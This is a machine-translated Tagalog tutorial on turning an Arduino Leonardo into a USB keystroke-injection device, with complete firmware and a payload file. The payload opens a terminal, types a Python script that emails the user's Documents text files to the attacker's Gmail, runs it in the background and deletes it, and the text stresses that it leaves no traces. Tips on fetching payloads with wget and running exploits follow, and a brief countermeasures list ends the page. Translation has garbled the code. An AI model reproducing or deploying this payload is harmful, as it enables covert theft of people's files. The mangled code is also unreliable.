Talaan ng mga Nilalaman:
2025 May -akda: John Day | [email protected]. Huling binago: 2025-01-23 15:13
Sa proyektong ito gagamit kami ng isang arduino leonardo upang gayahin ang isang posibleng pag-atake sa USB gamit ang HID (humain interface device).
Nilikha ko ang tutorial na ito na hindi upang matulungan ang mga hacker ngunit upang ipakita sa iyo ang ilang mga tunay na panganib at kung paano protektahan ang iyong sarili mula sa mga panganib na iyon. Ang aparatong ito ay hindi isang aparato na maaaring magamit sa anumang platform para sa mga hacker, higit itong isang patunay ng konsepto nang detalyado.
Malalaman natin ang sumusunod:
- kung paano gamitin ang arduino leonardo upang tularan ang keyboard
- kung paano basahin ang data mula sa mga SD card
- kung paano lumikha ng isang script ng sawa na nag-scan ng mga file at nag-email sa kanila
- kung paano protektahan ang iyong sarili mula sa mga USB hacking device
Hakbang 1: Mga Kagamitan
Mga Bahagi:
1. Arduino leonardo
2. micro USB card reader
3. ilang GB SD card
4. pushbutton tulad ng isang ito (VCC, Ground at signal)
5. mga kable na pambabae-lalaki at babae-babae na lumulukso
6. micro USB sa USB cable
Hakbang 2: Pagbuo ng Device
Bago ang tagubilin sa gusali suriin natin ang prinsipyo ng pagtatrabaho:
Ang Arduino leonardo ay maaaring kumilos tulad ng isang aparato ng interface ng tao (HID) at samakatuwid ay maaaring tularan ang mouse at keyboard. Gagamitin namin ang tampok na ito upang buksan ang isang terminal (sa UBUNTU linux) at magsulat ng isang maliit na script na mag-a-access sa / folder ng Mga Dokumento sa loob ng kopya ng home folder ng gumagamit.txt mga file doon at i-email ang mga ito sa isang tao. Kung nais mong malaman ang karagdagang mga detalye suriin ang susunod na hakbang.
Dahil ito ay isang aparato ng demo na mga bagay na talagang simple, hindi kami manghinang.
Mga tagubilin sa gusali
Bago kami magsimula suriin ang mga nakalakip na mga file, na-attach ko na ang mga skrip na fritzing, at lahat ng kinakailangang mga file
1. Ipunin ang mga sangkap:
* plug ang micro USB cable sa arduino
* ikonekta ang key switch sa arduino (ground, vcc at out module sa D8)
* ikonekta ang card reader sa arduino (gamit ang header ng ICSP). Si Arduino leonardo ay walang header ng ICSP na konektado sa mga digital na pin kaya kakailanganin mong ikonekta ang card reader sa header ng ICSP. Maaari kang makahanap ng ilang mga guhit ng ICSP dito: https://learn.sparkfun.com/tutorials/installing-an…. Ikonekta ang SS pin sa digital pin 10
2. makuha ang code ng arduino, maaari mong i-clone ang aking arduino repository sa github: https://github.com/danionescu0/arduino at pumunta sa mga proyekto / keyboard_exploit o kunin ito mula sa ibaba:
# isama ang "Keyboard.h"
# isama ang "SPI.h" # isama ang "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Command::"; int delayBetweenCommands = 10; Const int buttonPin = 8; Const int chipSelect = 10; int nakaraangButtonState = TAAS; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); kung (! SD.begin (chipSelect)) {Serial.println ("Nabigo ang card, o wala!"); bumalik; }} void loop () {int buttonState = digitalRead (buttonPin); kung ((buttonState! = nakaraang ButtonState) && (buttonState == MATAAS)) {sdFileToKeyboard (); Serial.println ("Na-upload!"); pagkaantala (500); } nakaraangButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); kung (! dataFile) {Serial.println ("Ang tinukoy na filename ay wala sa SD card, suriin ang filenameOnCard!"); } Linya ng String; habang (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (linya); sendToKeyboard (linya); } dataFile.close (); } walang bisa ang sendToKeyboard (String line) {String workingLine = line; kung (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); bumalik; } kung (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (linya); Keyboard.println (linya); pindutin ang enter(); bumalik; } Serial.println ("Command:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine + = ","; habang (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String command = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; kung (utos! = "") {Serial.print ("Natagpuan ang utos:"); Serial.println (utos); Keyboard.press (getCommandCode (utos)); antala (antalaMga Komisyon); }} Keyboard.releaseAll (); antala (antalaMga Komisyon); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); antala (sleepAmount); } char getCommandCode (String text) {char textCharacter [2]; text.toCharArray (textCharacter, 2); char code = textCharacter [0]; code = (text == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: code; code = (text == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: code; code = (text == "KEY_LEFT_ALT")? KEY_LEFT_ALT: code; code = (text == "KEY_UP_ARROW")? KEY_UP_ARROW: code; code = (text == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: code; code = (text == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: code; code = (text == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: code; code = (text == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: code; code = (text == "KEY_BACKSPACE")? KEY_BACKSPACE: code; code = (text == "KEY_TAB")? KEY_TAB: code; code = (text == "KEY_RETURN")? KEY_RETURN: code; code = (text == "KEY_ESC")? KEY_ESC: code; code = (text == "KEY_INSERT")? KEY_INSERT: code; code = (text == "KEY_DELETE")? KEY_DELETE: code; code = (text == "KEY_PAGE_UP")? KEY_PAGE_UP: code; code = (text == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: code; code = (text == "KEY_HOME")? KEY_HOME: code; code = (text == "KEY_END")? KEY_END: code; code = (text == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: code; code = (text == "KEY_F1")? KEY_F1: code; code = (text == "KEY_F2")? KEY_F2: code; code = (text == "KEY_F3")? KEY_F3: code; code = (text == "KEY_F4")? KEY_F4: code; code = (text == "KEY_F5")? KEY_F5: code; code = (text == "KEY_F6")? KEY_F6: code; code = (text == "KEY_F7")? KEY_F7: code; code = (text == "KEY_F8")? KEY_F8: code; code = (text == "KEY_F9")? KEY_F9: code; code = (text == "KEY_F10")? KEY_F10: code; code = (text == "KEY_F11")? KEY_F1: code; code = (text == "KEY_F12")? KEY_F2: code;
return code;
}
3. I-upload ang code sa arduino, tiyaking pumili ng 9600 baud rate, ang serial port at arduino leonardo
4. I-format ang sd card gamit ang FAT16 o FAT32
5. Kung na-clone mo ang github repo mula sa itaas, kopyahin ang hack.txt file sa card, kung hindi ang file ay nakalista sa ibaba:
Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tS Sleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os mula sa os.path import expanderer mula sa email. MIMEMultipart import MIMEMultipart mula sa email. MIMEBase import MIMEBase mula sa email. MIMEText import MIMEText mula sa email. Gumagamit ng import na CommASPACE, formatdate mula sa pag-import ng email na Mga Encoder
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Mga Dokumento'
subject = body = 'Mga file mula sa na-hack na computer'
header = 'To: {0} nFrom: {1} nSubject: {2} n'.format (to_address, smtp_user, paksa)
def sendMail (sa, paksa, teksto, mga file = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = CommASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Paksa'] = paksa msg.attach (MIMEText (teksto)) para sa file sa mga file: bahagi = MIMEBase ('application', "octet-stream") part.set_payload (buksan (file, "rb"). Basahin ()) Encoders.encode_base64 (bahagi) na bahagi. add_header ('Content-Disposition', 'attachment; filename = "% s"'% os.path.basename (file)) msg.attach (part)
server = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, sa, msg.as_string ()) server.quit ()
sendMail ([to_address], paksa, katawan, glob.glob ("{0} / {1} / *. txt".format (expuser ("~"), scan_documents_location))
Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4
6. I-edit ang mga sumusunod na linya:
smtp_user = 'sender_email_addr'
smtp_pass = 'sender_password' to_address = 'receiver_address'
At palitan ng iyong mga email address
7. Alisin ang card at ipasok ito sa arduino card reader
Hakbang 3: Paano Ito Gumagana sa Mga Detalye
Paano gagana ang pag-atake:
1. Kapag pinindot ang pindutan, babasahin ni leonardo ang sd card gamit ang isang sd card reader. Ang isang espesyal na file na naglalaman ng mga key at kombinasyon ng key ay naroroon sa card. Ang pangalan ng file ay "hack.txt".
Maaaring maglaman ang file ng hilaw na teksto, at ipapasa ito sa keyboard tulad nito.
Gayundin maaari itong maglaman ng mga espesyal na utos tulad ng "Sleep::" at "Command::".
Isang linya tulad ng:
Ang tulog:: 200 ay nangangahulugang isang pagtulog ng 200 ms
Isang linya tulad ng:
Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, ang ibig sabihin ay kaliwa ctrl na pinindot, kaliwang alt pinindot, t pinindot at lahat ay pinakawalan
Maaari mong suriin ang lahat ng mga espesyal na key dito:
2. Magbasa si Leonardo ng linya sa pamamagitan ng linya, at bibigyang kahulugan ang mga utos at tularan ang mga key sa keyboard. Naglalaman ang file na "hack.txt" ng isang kumbinasyon ng mga key na ginagawa ang sumusunod (para sa UBUNTU linux):
a. magbubukas ng isang terminal (CTRL + ALT + T)
b. bubukas ang isang python file para sa paglikha gamit ang vi (nagsusulat ng "vi hack.py"
c. nagsusulat ng isang python script sa loob na nangongolekta ng lahat ng mga file ng teksto sa loob ng mga folder ng home folder at ipinapadala ang mga ito sa isang tinukoy na gmail address
d. pinapatakbo ang file sa background ("nohup python hack.py &")
e. tinatanggal ang file (rm -rf hack.py)
f. isinasara ang terminal (ALT + F4)
Ang buong bagay na ito ay tumatakbo sa loob ng ilang segundo at hindi nag-iiwan ng mga bakas.
Mga pagpapahusay at pag-troubleshoot
* Maaaring napansin mo na pagkatapos magbubukas ako ng isang terminal nagsusulat ako ng file ng sawa. isang mas mahusay na paraan dito ay upang ma-host ito sa kung saan at i-download ito gamit ang "wget some_url" na utos, pagkatapos ay palitan ang pangalan nito sa hack.py
* Gayundin maaari kaming mag-download o magpatakbo ng isang handa nang pagsamantalahan para sa naka-target na operating system
* Ang wifi ay maaaring idagdag sa module, at ang mga pag-hack ay maaaring ma-upload sa pamamagitan ng WIFI
* maaari mong gamitin ang arduino micro (na mas maliit) at i-embed ang exploit code dito (upang gawing mas maliit ito)
Mga limitasyon
1. Dahil ang simulate na aparato (keyboard at mouse) ay walang anumang feedback na hindi namin alam kung ano ang mangyayari pagkatapos maglabas ng isang utos na nangangahulugang kailangan naming gumamit ng mga pagkaantala. Halimbawa naglalabas ako ng isang utos upang buksan ang terminal, ngunit hindi ko alam kung kailan talaga ito bubuksan, kaya kailangan kong tukuyin ang isang di-makatwirang pagkaantala upang matiyak na ang mga character na na-type pagkatapos ay hindi mawala.
2. Maaari kaming makaranas ng mga problema sa pahintulot tulad ng hindi pag-access sa USB port o ang pahintulot na mag-install ng isang bagay
3. Ang bilis ng pagta-type hindi ito gaanong maganda kay leonardo
4. gagana lamang sa isang naka-target na operating system (sa aming kaso UBUNTU linux)
Sa susunod na hakbang ay susubukan upang makahanap ng mga paraan upang pagsamantalahan ang mga limitasyong ito upang maiwasan ang pag-hack ng aming computer
Hakbang 4: Mga Countermeasure
1. Hindi pagpapagana ng mga USB port
- para sa mga bintana maaari mong suriin ang tutorial na ito:
2. Mga aparato ng whitelist USB:
- para sa mga bintana:
2. I-lock ang iyong computer kapag wala ka
3. Huwag mag-login bilang root (nangangailangan ng mga password para sa pag-install ng anumang bagay)
4. Panatilihing napapanahon ang iyong sarili (awtomatikong mga pag-update)
Inirerekumendang:
Pag-hack ng isang USB Keyboard: 6 Mga Hakbang (na may Mga Larawan)
Pag-hack ng isang USB Keyboard: Paano mag-hack ng isang USB keyboard o anumang keyboard para sa bagay na iyon. Magpadala ng mga input sa computer nang walang pesky microcontroller
HeadBot - isang Robot na Nagbabago ng Sarili para sa Pag-aaral at Pag-abot sa STEM: 7 Mga Hakbang (na may Mga Larawan)
HeadBot - isang Self-Balancing Robot para sa STEM Learning and Outreach: Headbot - isang dalawang talampakan ang taas, self-balancing robot - ay ang ideya ng South Eugene Robotics Team (SERT, FRC 2521), isang mapagkumpitensyang pangkat ng robotics ng high school sa UNA Kompetisyon ng Robotics, mula sa Eugene, Oregon. Ang sikat na robot sa pag-abot na ito ay ginagawang
Pag-iniksyon sa Keyboard / Awtomatikong I-type ang Iyong Password Sa Isang Pag-click !: 4 Mga Hakbang (na may Mga Larawan)
Pag-iniksyon sa Keyboard / Awtomatikong I-type ang Iyong Password Sa Isang Pag-click !: Mahirap ang mga password … at ang pag-alala sa isang ligtas ay mas mahirap pa! Bukod dito kung mayroon kang kasama, nagbabagong password ay magtatagal ito upang mai-type. Ngunit huwag matakot sa aking mga kaibigan, mayroon akong solusyon dito! Lumikha ako ng isang maliit na awtomatikong pag-type ng makina na
Pag-hack sa TV Tuner upang Basahin ang Mga Larawan sa Daigdig Mula sa Mga Satellite: 7 Mga Hakbang (na may Mga Larawan)
Pag-hack sa TV Tuner upang Basahin ang Mga Larawan sa Daigdig Mula sa Mga Satellite: Mayroong maraming mga satellite sa itaas ng aming mga ulo. Alam mo ba, na ang paggamit lamang ng Iyong computer, TV Tuner at simpleng DIY antena Maaari mong matanggap ang mga pagpapadala mula sa kanila? Halimbawa ng mga real time na larawan ng mundo. Ipapakita ko sa iyo kung paano. Kakailanganin mo ang: - 2 w
Bass, Treble, at Volume USB Controller Na May Mga Keyboard ng Keyboard: 6 na Hakbang (na may Mga Larawan)
Ang Bass, Treble, at Volume USB Controller Na May Mga Keyboard ng Keyboard: Mayroon akong isang Creative SoundBlaster Audigy sa aking pangunahing computer sa computer at kailangan ko ng isang paraan upang mabilis na ayusin ang mga setting ng bass at treble (pati na rin ang dami) kapag nakikinig sa audio o video media . Inangkop ko ang code mula sa dalawang mapagkukunan na ibinigay sa